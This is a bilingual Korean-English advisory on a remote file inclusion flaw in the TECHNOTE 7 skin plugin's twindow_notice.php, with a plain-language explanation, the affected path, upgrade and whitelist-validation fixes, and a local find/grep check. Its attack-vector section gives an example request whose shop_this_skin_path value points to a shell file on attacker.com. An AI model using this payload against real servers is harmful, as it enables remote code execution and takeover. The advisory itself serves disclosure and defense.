🇰🇷 한글 설명
TECHNOTE 7 스킨 플러그인의 twindow_notice.php 파일에서 shop_this_skin_path 파라미터를 통해 원격 파일을 포함할 수 있는 RFI(원격 파일 포함) 취약점입니다. 공격자는 악의적인 PHP 파일을 원격 서버에서 포함시켜 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트가 사용자가 입력한 파일 경로를 검증 없이 그대로 사용하여, 해커가 인터넷 어디서나 악성 파일을 로드할 수 있습니다. 이를 통해 웹 서버 전체를 장악당할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in skin_shop/standard/3_plugin_twindow/twindow_notice.php in TECHNOTE 7 allows remote attackers to execute arbitrary PHP code via a URL in the shop_this_skin_path parameter.
📍 영향받는 시스템
TECHNOTE 7 (skin_shop/standard/3_plugin_twindow/ 디렉토리 포함 버전)
⚔️ 공격 벡터
HTTP GET/POST 요청의 shop_this_skin_path 파라미터에 원격 PHP 파일 URL 입력 예: ?shop_this_skin_path=http://attacker.com/shell.php
🛡️ 대응 방법
TECHNOTE 7을 최신 버전으로 업그레이드하거나 twindow_notice.php에서 shop_this_skin_path 파라미터 검증 추가 (화이트리스트 기반 경로 검증)
🔧 검증 코드
취약한 twindow_notice.php 파일 위치가 표시되면 해당 시스템이 영향받을 가능성이 있으며, 파일 내용을 검토하여 shop_this_skin_path 파라미터 검증 로직이 있는지 확인 필요
find / -name 'twindow_notice.php' 2>/dev/null | xargs grep -l 'shop_this_skin_path' 2>/dev/null